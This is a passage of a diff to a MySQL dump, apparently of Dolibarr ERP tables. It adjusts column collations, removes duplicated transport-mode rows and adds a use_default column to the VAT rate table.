`llx_c_ticket_severity`; CREATE TABLE `llx_c_ticket_severity` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, `entity` int(11) DEFAULT 1, - `code` varchar(32) COLLATE utf8mb3_unicode_ci NOT NULL, - `pos` varchar(32) COLLATE utf8mb3_unicode_ci NOT NULL, - `label` varchar(128) COLLATE utf8mb3_unicode_ci NOT NULL, - `color` varchar(10) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `code` varchar(32) NOT NULL, + `pos` varchar(32) NOT NULL, + `label` varchar(128) NOT NULL, + `color` varchar(10) DEFAULT NULL, `active` int(11) DEFAULT 1, `use_default` int(11) DEFAULT 1, - `description` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `description` varchar(255) DEFAULT NULL, PRIMARY KEY (`rowid`), UNIQUE KEY `uk_code` (`code`,`entity`) ) ENGINE=InnoDB AUTO_INCREMENT=5 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; @@ -3205,12 +2832,12 @@ DROP TABLE IF EXISTS `llx_c_ticket_type`; CREATE TABLE `llx_c_ticket_type` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, `entity` int(11) DEFAULT 1, - `code` varchar(32) COLLATE utf8mb3_unicode_ci NOT NULL, - `pos` varchar(32) COLLATE utf8mb3_unicode_ci NOT NULL, - `label` varchar(128) COLLATE utf8mb3_unicode_ci NOT NULL, + `code` varchar(32) NOT NULL, + `pos` varchar(32) NOT NULL, + `label` varchar(128) NOT NULL, `active` int(11) DEFAULT 1, `use_default` int(11) DEFAULT 1, - `description` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `description` varchar(255) DEFAULT NULL, PRIMARY KEY (`rowid`), UNIQUE KEY `uk_code` (`code`,`entity`) ) ENGINE=InnoDB AUTO_INCREMENT=14 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; @@ -3236,8 +2863,8 @@ DROP TABLE IF EXISTS `llx_c_transport_mode`; CREATE TABLE `llx_c_transport_mode` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, `entity` int(11) NOT NULL DEFAULT 1, - `code` varchar(3) CHARACTER SET utf8mb4 NOT NULL, - `label` varchar(255) CHARACTER SET utf8mb4 NOT NULL, + `code` varchar(3) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NOT NULL, + `label` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NOT NULL, `active` tinyint(4) NOT NULL DEFAULT 1, PRIMARY KEY (`rowid`) ) ENGINE=InnoDB AUTO_INCREMENT=321 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; @@ -3249,7 +2876,7 @@ CREATE TABLE `llx_c_transport_mode` ( LOCK TABLES `llx_c_transport_mode` WRITE; /*!40000 ALTER TABLE `llx_c_transport_mode` DISABLE KEYS */; -INSERT INTO `llx_c_transport_mode` VALUES (1,1,'MAR','Transport maritime (y compris camions ou wagons sur bateau)',1),(2,1,'TRA','Transport par chemin de fer (y compris camions sur wagon)',1),(3,1,'ROU','Transport par route',1),(4,1,'AIR','Transport par air',1),(5,1,'POS','Envois postaux',1),(6,1,'OLE','Installations de transport fixe (oléoduc)',1),(7,1,'NAV','Transport par navigation intérieure',1),(8,1,'PRO','Propulsion propre',1),(9,1,'MAR','Transport maritime (y compris camions ou wagons sur bateau)',1),(10,1,'TRA','Transport par chemin de fer (y compris camions sur wagon)',1),(11,1,'ROU','Transport par route',1),(12,1,'AIR','Transport par air',1),(13,1,'POS','Envois postaux',1),(14,1,'OLE','Installations de transport fixe (oléoduc)',1),(15,1,'NAV','Transport par navigation intérieure',1),(16,1,'PRO','Propulsion propre',1),(17,1,'MAR','Transport maritime (y compris camions ou wagons sur bateau)',1),(18,1,'TRA','Transport par chemin de fer (y compris camions sur wagon)',1),(19,1,'ROU','Transport par route',1),(20,1,'AIR','Transport par air',1),(21,1,'POS','Envois postaux',1),(22,1,'OLE','Installations de transport fixe (oléoduc)',1),(23,1,'NAV','Transport par navigation intérieure',1),(24,1,'PRO','Propulsion propre',1),(25,1,'MAR','Transport maritime (y compris camions ou wagons sur bateau)',1),(26,1,'TRA','Transport par chemin de fer (y compris camions sur wagon)',1),(27,1,'ROU','Transport par route',1),(28,1,'AIR','Transport par air',1),(29,1,'POS','Envois postaux',1),(30,1,'OLE','Installations de transport fixe (oléoduc)',1),(31,1,'NAV','Transport par navigation intérieure',1),(32,1,'PRO','Propulsion propre',1),(33,1,'MAR','Transport maritime (y compris camions ou wagons sur bateau)',1),(34,1,'TRA','Transport par chemin de fer (y compris camions sur wagon)',1),(35,1,'ROU','Transport par route',1),(36,1,'AIR','Transport par air',1),(37,1,'POS','Envois postaux',1),(38,1,'OLE','Installations de transport fixe (oléoduc)',1),(39,1,'NAV','Transport par navigation intérieure',1),(40,1,'PRO','Propulsion propre',1),(41,1,'MAR','Transport maritime (y compris camions ou wagons sur bateau)',1),(42,1,'TRA','Transport par chemin de fer (y compris camions sur wagon)',1),(43,1,'ROU','Transport par route',1),(44,1,'AIR','Transport par air',1),(45,1,'POS','Envois postaux',1),(46,1,'OLE','Installations de transport fixe (oléoduc)',1),(47,1,'NAV','Transport par navigation intérieure',1),(48,1,'PRO','Propulsion propre',1),(49,1,'MAR','Transport maritime (y compris camions ou wagons sur bateau)',1),(50,1,'TRA','Transport par chemin de fer (y compris camions sur wagon)',1),(51,1,'ROU','Transport par route',1),(52,1,'AIR','Transport par air',1),(53,1,'POS','Envois postaux',1),(54,1,'OLE','Installations de transport fixe (oléoduc)',1),(55,1,'NAV','Transport par navigation intérieure',1),(56,1,'PRO','Propulsion propre',1),(57,1,'MAR','Transport maritime (y compris camions ou wagons sur bateau)',1),(58,1,'TRA','Transport par chemin de fer (y compris camions sur wagon)',1),(59,1,'ROU','Transport par route',1),(60,1,'AIR','Transport par air',1),(61,1,'POS','Envois postaux',1),(62,1,'OLE','Installations de transport fixe (oléoduc)',1),(63,1,'NAV','Transport par navigation intérieure',1),(64,1,'PRO','Propulsion propre',1),(65,1,'MAR','Transport maritime (y compris camions ou wagons sur bateau)',1),(66,1,'TRA','Transport par chemin de fer (y compris camions sur wagon)',1),(67,1,'ROU','Transport par route',1),(68,1,'AIR','Transport par air',1),(69,1,'POS','Envois postaux',1),(70,1,'OLE','Installations de transport fixe (oléoduc)',1),(71,1,'NAV','Transport par navigation intérieure',1),(72,1,'PRO','Propulsion propre',1),(73,1,'MAR','Transport maritime (y compris camions ou wagons sur bateau)',1),(74,1,'TRA','Transport par chemin de fer (y compris camions sur wagon)',1),(75,1,'ROU','Transport par route',1),(76,1,'AIR','Transport par air',1),(77,1,'POS','Envois postaux',1),(78,1,'OLE','Installations de transport fixe (oléoduc)',1),(79,1,'NAV','Transport par navigation intérieure',1),(80,1,'PRO','Propulsion propre',1),(81,1,'MAR','Transport maritime (y compris camions ou wagons sur bateau)',1),(82,1,'TRA','Transport par chemin de fer (y compris camions sur wagon)',1),(83,1,'ROU','Transport par route',1),(84,1,'AIR','Transport par air',1),(85,1,'POS','Envois postaux',1),(86,1,'OLE','Installations de transport fixe (oléoduc)',1),(87,1,'NAV','Transport par navigation intérieure',1),(88,1,'PRO','Propulsion propre',1),(89,1,'MAR','Transport maritime (y compris camions ou wagons sur bateau)',1),(90,1,'TRA','Transport par chemin de fer (y compris camions sur wagon)',1),(91,1,'ROU','Transport par route',1),(92,1,'AIR','Transport par air',1),(93,1,'POS','Envois postaux',1),(94,1,'OLE','Installations de transport fixe (oléoduc)',1),(95,1,'NAV','Transport par navigation intérieure',1),(96,1,'PRO','Propulsion propre',1),(97,1,'MAR','Transport maritime (y compris camions ou wagons sur bateau)',1),(98,1,'TRA','Transport par chemin de fer (y compris camions sur wagon)',1),(99,1,'ROU','Transport par route',1),(100,1,'AIR','Transport par air',1),(101,1,'POS','Envois postaux',1),(102,1,'OLE','Installations de transport fixe (oléoduc)',1),(103,1,'NAV','Transport par navigation intérieure',1),(104,1,'PRO','Propulsion propre',1),(105,1,'MAR','Transport maritime (y compris camions ou wagons sur bateau)',1),(106,1,'TRA','Transport par chemin de fer (y compris camions sur wagon)',1),(107,1,'ROU','Transport par route',1),(108,1,'AIR','Transport par air',1),(109,1,'POS','Envois postaux',1),(110,1,'OLE','Installations de transport fixe (oléoduc)',1),(111,1,'NAV','Transport par navigation intérieure',1),(112,1,'PRO','Propulsion propre',1),(113,1,'MAR','Transport maritime (y compris camions ou wagons sur bateau)',1),(114,1,'TRA','Transport par chemin de fer (y compris camions sur wagon)',1),(115,1,'ROU','Transport par route',1),(116,1,'AIR','Transport par air',1),(117,1,'POS','Envois postaux',1),(118,1,'OLE','Installations de transport fixe (oléoduc)',1),(119,1,'NAV','Transport par navigation intérieure',1),(120,1,'PRO','Propulsion propre',1),(121,1,'MAR','Transport maritime (y compris camions ou wagons sur bateau)',1),(122,1,'TRA','Transport par chemin de fer (y compris camions sur wagon)',1),(123,1,'ROU','Transport par route',1),(124,1,'AIR','Transport par air',1),(125,1,'POS','Envois postaux',1),(126,1,'OLE','Installations de transport fixe (oléoduc)',1),(127,1,'NAV','Transport par navigation intérieure',1),(128,1,'PRO','Propulsion propre',1),(129,1,'MAR','Transport maritime (y compris camions ou wagons sur bateau)',1),(130,1,'TRA','Transport par chemin de fer (y compris camions sur wagon)',1),(131,1,'ROU','Transport par route',1),(132,1,'AIR','Transport par air',1),(133,1,'POS','Envois postaux',1),(134,1,'OLE','Installations de transport fixe (oléoduc)',1),(135,1,'NAV','Transport par navigation intérieure',1),(136,1,'PRO','Propulsion propre',1),(137,1,'MAR','Transport maritime (y compris camions ou wagons sur bateau)',1),(138,1,'TRA','Transport par chemin de fer (y compris camions sur wagon)',1),(139,1,'ROU','Transport par route',1),(140,1,'AIR','Transport par air',1),(141,1,'POS','Envois postaux',1),(142,1,'OLE','Installations de transport fixe (oléoduc)',1),(143,1,'NAV','Transport par navigation intérieure',1),(144,1,'PRO','Propulsion propre',1),(145,1,'MAR','Transport maritime (y compris camions ou wagons sur bateau)',1),(146,1,'TRA','Transport par chemin de fer (y compris camions sur wagon)',1),(147,1,'ROU','Transport par route',1),(148,1,'AIR','Transport par air',1),(149,1,'POS','Envois postaux',1),(150,1,'OLE','Installations de transport fixe (oléoduc)',1),(151,1,'NAV','Transport par navigation intérieure',1),(152,1,'PRO','Propulsion propre',1),(153,1,'MAR','Transport maritime (y compris camions ou wagons sur bateau)',1),(154,1,'TRA','Transport par chemin de fer (y compris camions sur wagon)',1),(155,1,'ROU','Transport par route',1),(156,1,'AIR','Transport par air',1),(157,1,'POS','Envois postaux',1),(158,1,'OLE','Installations de transport fixe (oléoduc)',1),(159,1,'NAV','Transport par navigation intérieure',1),(160,1,'PRO','Propulsion propre',1),(161,1,'MAR','Transport maritime (y compris camions ou wagons sur bateau)',1),(162,1,'TRA','Transport par chemin de fer (y compris camions sur wagon)',1),(163,1,'ROU','Transport par route',1),(164,1,'AIR','Transport par air',1),(165,1,'POS','Envois postaux',1),(166,1,'OLE','Installations de transport fixe (oléoduc)',1),(167,1,'NAV','Transport par navigation intérieure',1),(168,1,'PRO','Propulsion propre',1),(169,1,'MAR','Transport maritime (y compris camions ou wagons sur bateau)',1),(170,1,'TRA','Transport par chemin de fer (y compris camions sur wagon)',1),(171,1,'ROU','Transport par route',1),(172,1,'AIR','Transport par air',1),(173,1,'POS','Envois postaux',1),(174,1,'OLE','Installations de transport fixe (oléoduc)',1),(175,1,'NAV','Transport par navigation intérieure',1),(176,1,'PRO','Propulsion propre',1),(177,1,'MAR','Transport maritime (y compris camions ou wagons sur bateau)',1),(178,1,'TRA','Transport par chemin de fer (y compris camions sur wagon)',1),(179,1,'ROU','Transport par route',1),(180,1,'AIR','Transport par air',1),(181,1,'POS','Envois postaux',1),(182,1,'OLE','Installations de transport fixe (oléoduc)',1),(183,1,'NAV','Transport par navigation intérieure',1),(184,1,'PRO','Propulsion propre',1),(185,1,'MAR','Transport maritime (y compris camions ou wagons sur bateau)',1),(186,1,'TRA','Transport par chemin de fer (y compris camions sur wagon)',1),(187,1,'ROU','Transport par route',1),(188,1,'AIR','Transport par air',1),(189,1,'POS','Envois postaux',1),(190,1,'OLE','Installations de transport fixe (oléoduc)',1),(191,1,'NAV','Transport par navigation intérieure',1),(192,1,'PRO','Propulsion propre',1),(193,1,'MAR','Transport maritime (y compris camions ou wagons sur bateau)',1),(194,1,'TRA','Transport par chemin de fer (y compris camions sur wagon)',1),(195,1,'ROU','Transport par route',1),(196,1,'AIR','Transport par air',1),(197,1,'POS','Envois postaux',1),(198,1,'OLE','Installations de transport fixe (oléoduc)',1),(199,1,'NAV','Transport par navigation intérieure',1),(200,1,'PRO','Propulsion propre',1),(201,1,'MAR','Transport maritime (y compris camions ou wagons sur bateau)',1),(202,1,'TRA','Transport par chemin de fer (y compris camions sur wagon)',1),(203,1,'ROU','Transport par route',1),(204,1,'AIR','Transport par air',1),(205,1,'POS','Envois postaux',1),(206,1,'OLE','Installations de transport fixe (oléoduc)',1),(207,1,'NAV','Transport par navigation intérieure',1),(208,1,'PRO','Propulsion propre',1),(209,1,'MAR','Transport maritime (y compris camions ou wagons sur bateau)',1),(210,1,'TRA','Transport par chemin de fer (y compris camions sur wagon)',1),(211,1,'ROU','Transport par route',1),(212,1,'AIR','Transport par air',1),(213,1,'POS','Envois postaux',1),(214,1,'OLE','Installations de transport fixe (oléoduc)',1),(215,1,'NAV','Transport par navigation intérieure',1),(216,1,'PRO','Propulsion propre',1),(217,1,'MAR','Transport maritime (y compris camions ou wagons sur bateau)',1),(218,1,'TRA','Transport par chemin de fer (y compris camions sur wagon)',1),(219,1,'ROU','Transport par route',1),(220,1,'AIR','Transport par air',1),(221,1,'POS','Envois postaux',1),(222,1,'OLE','Installations de transport fixe (oléoduc)',1),(223,1,'NAV','Transport par navigation intérieure',1),(224,1,'PRO','Propulsion propre',1),(225,1,'MAR','Transport maritime (y compris camions ou wagons sur bateau)',1),(226,1,'TRA','Transport par chemin de fer (y compris camions sur wagon)',1),(227,1,'ROU','Transport par route',1),(228,1,'AIR','Transport par air',1),(229,1,'POS','Envois postaux',1),(230,1,'OLE','Installations de transport fixe (oléoduc)',1),(231,1,'NAV','Transport par navigation intérieure',1),(232,1,'PRO','Propulsion propre',1),(233,1,'MAR','Transport maritime (y compris camions ou wagons sur bateau)',1),(234,1,'TRA','Transport par chemin de fer (y compris camions sur wagon)',1),(235,1,'ROU','Transport par route',1),(236,1,'AIR','Transport par air',1),(237,1,'POS','Envois postaux',1),(238,1,'OLE','Installations de transport fixe (oléoduc)',1),(239,1,'NAV','Transport par navigation intérieure',1),(240,1,'PRO','Propulsion propre',1),(241,1,'MAR','Transport maritime (y compris camions ou wagons sur bateau)',1),(242,1,'TRA','Transport par chemin de fer (y compris camions sur wagon)',1),(243,1,'ROU','Transport par route',1),(244,1,'AIR','Transport par air',1),(245,1,'POS','Envois postaux',1),(246,1,'OLE','Installations de transport fixe (oléoduc)',1),(247,1,'NAV','Transport par navigation intérieure',1),(248,1,'PRO','Propulsion propre',1),(249,1,'MAR','Transport maritime (y compris camions ou wagons sur bateau)',1),(250,1,'TRA','Transport par chemin de fer (y compris camions sur wagon)',1),(251,1,'ROU','Transport par route',1),(252,1,'AIR','Transport par air',1),(253,1,'POS','Envois postaux',1),(254,1,'OLE','Installations de transport fixe (oléoduc)',1),(255,1,'NAV','Transport par navigation intérieure',1),(256,1,'PRO','Propulsion propre',1),(257,1,'MAR','Transport maritime (y compris camions ou wagons sur bateau)',1),(258,1,'TRA','Transport par chemin de fer (y compris camions sur wagon)',1),(259,1,'ROU','Transport par route',1),(260,1,'AIR','Transport par air',1),(261,1,'POS','Envois postaux',1),(262,1,'OLE','Installations de transport fixe (oléoduc)',1),(263,1,'NAV','Transport par navigation intérieure',1),(264,1,'PRO','Propulsion propre',1),(265,1,'MAR','Transport maritime (y compris camions ou wagons sur bateau)',1),(266,1,'TRA','Transport par chemin de fer (y compris camions sur wagon)',1),(267,1,'ROU','Transport par route',1),(268,1,'AIR','Transport par air',1),(269,1,'POS','Envois postaux',1),(270,1,'OLE','Installations de transport fixe (oléoduc)',1),(271,1,'NAV','Transport par navigation intérieure',1),(272,1,'PRO','Propulsion propre',1),(273,1,'MAR','Transport maritime (y compris camions ou wagons sur bateau)',1),(274,1,'TRA','Transport par chemin de fer (y compris camions sur wagon)',1),(275,1,'ROU','Transport par route',1),(276,1,'AIR','Transport par air',1),(277,1,'POS','Envois postaux',1),(278,1,'OLE','Installations de transport fixe (oléoduc)',1),(279,1,'NAV','Transport par navigation intérieure',1),(280,1,'PRO','Propulsion propre',1),(281,1,'MAR','Transport maritime (y compris camions ou wagons sur bateau)',1),(282,1,'TRA','Transport par chemin de fer (y compris camions sur wagon)',1),(283,1,'ROU','Transport par route',1),(284,1,'AIR','Transport par air',1),(285,1,'POS','Envois postaux',1),(286,1,'OLE','Installations de transport fixe (oléoduc)',1),(287,1,'NAV','Transport par navigation intérieure',1),(288,1,'PRO','Propulsion propre',1),(289,1,'MAR','Transport maritime (y compris camions ou wagons sur bateau)',1),(290,1,'TRA','Transport par chemin de fer (y compris camions sur wagon)',1),(291,1,'ROU','Transport par route',1),(292,1,'AIR','Transport par air',1),(293,1,'POS','Envois postaux',1),(294,1,'OLE','Installations de transport fixe (oléoduc)',1),(295,1,'NAV','Transport par navigation intérieure',1),(296,1,'PRO','Propulsion propre',1),(297,1,'MAR','Transport maritime (y compris camions ou wagons sur bateau)',1),(298,1,'TRA','Transport par chemin de fer (y compris camions sur wagon)',1),(299,1,'ROU','Transport par route',1),(300,1,'AIR','Transport par air',1),(301,1,'POS','Envois postaux',1),(302,1,'OLE','Installations de transport fixe (oléoduc)',1),(303,1,'NAV','Transport par navigation intérieure',1),(304,1,'PRO','Propulsion propre',1),(305,1,'MAR','Transport maritime (y compris camions ou wagons sur bateau)',1),(306,1,'TRA','Transport par chemin de fer (y compris camions sur wagon)',1),(307,1,'ROU','Transport par route',1),(308,1,'AIR','Transport par air',1),(309,1,'POS','Envois postaux',1),(310,1,'OLE','Installations de transport fixe (oléoduc)',1),(311,1,'NAV','Transport par navigation intérieure',1),(312,1,'PRO','Propulsion propre',1),(313,1,'MAR','Transport maritime (y compris camions ou wagons sur bateau)',1),(314,1,'TRA','Transport par chemin de fer (y compris camions sur wagon)',1),(315,1,'ROU','Transport par route',1),(316,1,'AIR','Transport par air',1),(317,1,'POS','Envois postaux',1),(318,1,'OLE','Installations de transport fixe (oléoduc)',1),(319,1,'NAV','Transport par navigation intérieure',1),(320,1,'PRO','Propulsion propre',1); +INSERT INTO `llx_c_transport_mode` VALUES (1,1,'MAR','Transport maritime (y compris camions ou wagons sur bateau)',1),(2,1,'TRA','Transport par chemin de fer (y compris camions sur wagon)',1),(3,1,'ROU','Transport par route',1),(4,1,'AIR','Transport par air',1),(5,1,'POS','Envois postaux',1),(6,1,'OLE','Installations de transport fixe (oléoduc)',1),(7,1,'NAV','Transport par navigation intérieure',1),(8,1,'PRO','Propulsion propre',1); /*!40000 ALTER TABLE `llx_c_transport_mode` ENABLE KEYS */; UNLOCK TABLES; @@ -3263,20 +2890,21 @@ DROP TABLE IF EXISTS `llx_c_tva`; CREATE TABLE `llx_c_tva` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, `fk_pays` int(11) NOT NULL, - `code` varchar(10) COLLATE utf8mb3_unicode_ci DEFAULT '', + `code` varchar(10) DEFAULT '', `taux` double NOT NULL, - `localtax1` varchar(20) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `localtax1_type` varchar(10) COLLATE utf8mb3_unicode_ci NOT NULL DEFAULT '0', - `localtax2` varchar(20) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `localtax2_type` varchar(10) COLLATE utf8mb3_unicode_ci NOT NULL DEFAULT '0', + `localtax1` varchar(20) DEFAULT NULL, + `localtax1_type` varchar(10) NOT NULL DEFAULT '0', + `localtax2` varchar(20) DEFAULT NULL, + `localtax2_type` varchar(10) NOT NULL DEFAULT '0', `recuperableonly` int(11) NOT NULL DEFAULT 0, - `note` varchar(128) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `note` varchar(128) DEFAULT NULL, `active` tinyint(4) NOT NULL DEFAULT 1, - `accountancy_code_sell` varchar(32) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `accountancy_code_buy` varchar(32) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `accountancy_code_sell` varchar(32) DEFAULT NULL, + `accountancy_code_buy` varchar(32) DEFAULT NULL, + `use_default` tinyint(4) DEFAULT 0, PRIMARY KEY (`rowid`), UNIQUE KEY `uk_c_tva_id` (`fk_pays`,`code`,`taux`,`recuperableonly`) -) ENGINE=InnoDB AUTO_INCREMENT=2478 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; +) ENGINE=InnoDB AUTO_INCREMENT=2479 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; -- @@ -3285,7 +2913,7 @@ CREATE TABLE `llx_c_tva` ( LOCK TABLES `llx_c_tva` WRITE; /*!40000 ALTER TABLE `llx_c_tva` DISABLE KEYS */; -INSERT INTO `llx_c_tva` VALUES (11,1,'',20,NULL,'0',NULL,'0',0,'VAT standard rate (France hors DOM-TOM)',1,NULL,NULL),(12,1,'',8.5,NULL,'0',NULL,'0',0,'VAT standard rate (DOM sauf Guyane et Saint-Martin)',0,NULL,NULL),(13,1,'',8.5,NULL,'0',NULL,'0',1,'VAT standard rate (DOM sauf Guyane et Saint-Martin), non perçu par le vendeur mais récupérable par acheteur',0,NULL,NULL),(14,1,'',5.5,NULL,'0',NULL,'0',0,'VAT reduced rate (France hors DOM-TOM)',1,NULL,NULL),(15,1,'',0,NULL,'0',NULL,'0',0,'VAT Rate 0 ou non applicable',1,NULL,NULL),(16,1,'',2.1,NULL,'0',NULL,'0',0,'VAT super-reduced rate',1,NULL,NULL),(17,1,'',10,NULL,'0',NULL,'0',0,'VAT reduced rate',1,NULL,NULL),(21,2,'',21,NULL,'0',NULL,'0',0,'VAT standard rate',1,NULL,NULL),(22,2,'',6,NULL,'0',NULL,'0',0,'VAT reduced rate',1,NULL,NULL),(23,2,'',0,NULL,'0',NULL,'0',0,'VAT Rate 0 ou non applicable',1,NULL,NULL),(24,2,'',12,NULL,'0',NULL,'0',0,'VAT reduced rate',1,NULL,NULL),(31,3,'',21,NULL,'0',NULL,'0',0,'VAT standard rate',1,NULL,NULL),(32,3,'',10,NULL,'0',NULL,'0',0,'VAT reduced rate',1,NULL,NULL),(33,3,'',4,NULL,'0',NULL,'0',0,'VAT super-reduced rate',1,NULL,NULL),(34,3,'',0,NULL,'0',NULL,'0',0,'VAT Rate 0',1,NULL,NULL),(41,4,'',21,'5.2','3','-19:-15:-9','5',0,'VAT standard rate',1,NULL,NULL),(42,4,'',10,'1.4','3','-19:-15:-9','5',0,'VAT reduced rate',1,NULL,NULL),(43,4,'',4,'0.5','3','-19:-15:-9','5',0,'VAT super-reduced rate',1,NULL,NULL),(44,4,'',0,'0','3','-19:-15:-9','5',0,'VAT Rate 0',1,NULL,NULL),(51,5,'',19,NULL,'0',NULL,'0',0,'allgemeine Ust.',1,NULL,NULL),(52,5,'',7,NULL,'0',NULL,'0',0,'ermäßigte USt.',1,NULL,NULL),(53,5,'',0,NULL,'0',NULL,'0',0,'keine USt.',1,NULL,NULL),(54,5,'',5.5,NULL,'0',NULL,'0',0,'USt. Forst',0,NULL,NULL),(55,5,'',10.7,NULL,'0',NULL,'0',0,'USt. Landwirtschaft',0,NULL,NULL),(61,6,'',8,NULL,'0',NULL,'0',0,'VAT standard rate',1,NULL,NULL),(62,6,'',3.8,NULL,'0',NULL,'0',0,'VAT reduced rate',1,NULL,NULL),(63,6,'',2.5,NULL,'0',NULL,'0',0,'VAT super-reduced rate',1,NULL,NULL),(64,6,'',0,NULL,'0',NULL,'0',0,'VAT Rate 0',1,NULL,NULL),(71,7,'',20,NULL,'0',NULL,'0',0,'VAT standard rate',1,NULL,NULL),(72,7,'',17.5,NULL,'0',NULL,'0',0,'VAT standard rate before 2011',1,NULL,NULL),(73,7,'',5,NULL,'0',NULL,'0',0,'VAT reduced rate',1,NULL,NULL),(74,7,'',0,NULL,'0',NULL,'0',0,'VAT Rate 0',1,NULL,NULL),(81,8,'',0,NULL,'0',NULL,'0',0,'VAT Rate 0',1,NULL,NULL),(82,8,'',23,NULL,'0',NULL,'0',0,'VAT standard rate',1,NULL,NULL),(83,8,'',13.5,NULL,'0',NULL,'0',0,'VAT reduced rate',1,NULL,NULL),(84,8,'',9,NULL,'0',NULL,'0',0,'VAT reduced rate',1,NULL,NULL),(85,8,'',4.8,NULL,'0',NULL,'0',0,'VAT reduced rate',1,NULL,NULL),(91,9,'',17,NULL,'0',NULL,'0',0,'VAT standard rate',1,NULL,NULL),(92,9,'',13,NULL,'0',NULL,'0',0,'VAT reduced rate 0',1,NULL,NULL),(93,9,'',3,NULL,'0',NULL,'0',0,'VAT super reduced rate 0',1,NULL,NULL),(94,9,'',0,NULL,'0',NULL,'0',0,'VAT Rate 0',1,NULL,NULL),(101,10,'',6,'1','4','0','0',0,'VAT 6%',1,NULL,NULL),(102,10,'',12,'1','4','0','0',0,'VAT 12%',1,NULL,NULL),(103,10,'',18,'1','4','0','0',0,'VAT 18%',1,NULL,NULL),(104,10,'',7.5,'1','4','0','0',0,'VAT 6% Majoré à 25% (7.5%)',1,NULL,NULL),(105,10,'',15,'1','4','0','0',0,'VAT 12% Majoré à 25% (15%)',1,NULL,NULL),(106,10,'',22.5,'1','4','0','0',0,'VAT 18% Majoré à 25% (22.5%)',1,NULL,NULL),(107,10,'',0,'1','4','0','0',0,'VAT Rate 0',1,NULL,NULL),(111,11,'',0,NULL,'0',NULL,'0',0,'No Sales Tax',1,NULL,NULL),(112,11,'',4,NULL,'0',NULL,'0',0,'Sales Tax 4%',1,NULL,NULL),(113,11,'',6,NULL,'0',NULL,'0',0,'Sales Tax 6%',1,NULL,NULL),(121,12,'',20,NULL,'0',NULL,'0',0,'VAT standard rate',1,NULL,NULL),(122,12,'',14,NULL,'0',NULL,'0',0,'VAT reduced rate',1,NULL,NULL),(123,12,'',10,NULL,'0',NULL,'0',0,'VAT reduced rate',1,NULL,NULL),(124,12,'',7,NULL,'0',NULL,'0',0,'VAT super-reduced rate',1,NULL,NULL),(125,12,'',0,NULL,'0',NULL,'0',0,'VAT Rate 0',1,NULL,NULL),(141,14,'',7,NULL,'0',NULL,'0',0,'VAT standard rate',1,NULL,NULL),(142,14,'',0,NULL,'0',NULL,'0',0,'VAT Rate 0',1,NULL,NULL),(143,14,'',5,'9.975','1',NULL,'0',0,'GST/TPS and PST/TVQ rate for Province',1,NULL,NULL),(171,17,'',19,NULL,'0',NULL,'0',0,'Algemeen BTW tarief',1,NULL,NULL),(172,17,'',6,NULL,'0',NULL,'0',0,'Verlaagd BTW tarief',1,NULL,NULL),(173,17,'',0,NULL,'0',NULL,'0',0,'0 BTW tarief',1,NULL,NULL),(174,17,'',21,NULL,'0',NULL,'0',0,'Algemeen BTW tarief (vanaf 1 oktober 2012)',0,NULL,NULL),(201,20,'',25,NULL,'0',NULL,'0',0,'VAT standard rate',1,NULL,NULL),(202,20,'',12,NULL,'0',NULL,'0',0,'VAT reduced rate',1,NULL,NULL),(203,20,'',6,NULL,'0',NULL,'0',0,'VAT super-reduced rate',1,NULL,NULL),(204,20,'',0,NULL,'0',NULL,'0',0,'VAT Rate 0',1,NULL,NULL),(211,21,'',0,'0','0','0','0',0,'IVA Rate 0',1,NULL,NULL),(212,21,'',18,'7.5','2','0','0',0,'IVA standard rate',1,NULL,NULL),(221,22,'',18,NULL,'0',NULL,'0',0,'VAT standard rate',1,NULL,NULL),(222,22,'',10,NULL,'0',NULL,'0',0,'VAT reduced rate',1,NULL,NULL),(223,22,'',0,NULL,'0',NULL,'0',0,'VAT Rate 0',1,NULL,NULL),(231,23,'',21,NULL,'0',NULL,'0',0,'IVA standard rate',1,NULL,NULL),(232,23,'',10.5,NULL,'0',NULL,'0',0,'IVA reduced rate',1,NULL,NULL),(233,23,'',0,NULL,'0',NULL,'0',0,'IVA Rate 0',1,NULL,NULL),(241,24,'',19.25,NULL,'0',NULL,'0',0,'VAT standard rate',1,NULL,NULL),(242,24,'',0,NULL,'0',NULL,'0',0,'VAT Rate 0',1,NULL,NULL),(251,25,'',23,NULL,'0',NULL,'0',0,'VAT standard rate',1,NULL,NULL),(252,25,'',13,NULL,'0',NULL,'0',0,'VAT reduced rate',1,NULL,NULL),(253,25,'',0,NULL,'0',NULL,'0',0,'VAT Rate 0',1,NULL,NULL),(254,25,'',6,NULL,'0',NULL,'0',0,'VAT reduced rate',1,NULL,NULL),(261,26,'',0,NULL,'0',NULL,'0',0,'VAT Rate 0',1,NULL,NULL),(271,27,'',19.6,NULL,'0',NULL,'0',0,'VAT standard rate (France hors DOM-TOM)',1,NULL,NULL),(272,27,'',8.5,NULL,'0',NULL,'0',0,'VAT standard rate (DOM sauf Guyane et Saint-Martin)',0,NULL,NULL),(273,27,'',8.5,NULL,'0',NULL,'0',1,'VAT standard rate (DOM sauf Guyane et Saint-Martin), non perçu par le vendeur mais récupérable par acheteur',0,NULL,NULL),(274,27,'',5.5,NULL,'0',NULL,'0',0,'VAT reduced rate (France hors DOM-TOM)',0,NULL,NULL),(275,27,'',0,NULL,'0',NULL,'0',0,'VAT Rate 0 ou non applicable',1,NULL,NULL),(276,27,'',2.1,NULL,'0',NULL,'0',0,'VAT super-reduced rate',1,NULL,NULL),(277,27,'',7,NULL,'0',NULL,'0',0,'VAT reduced 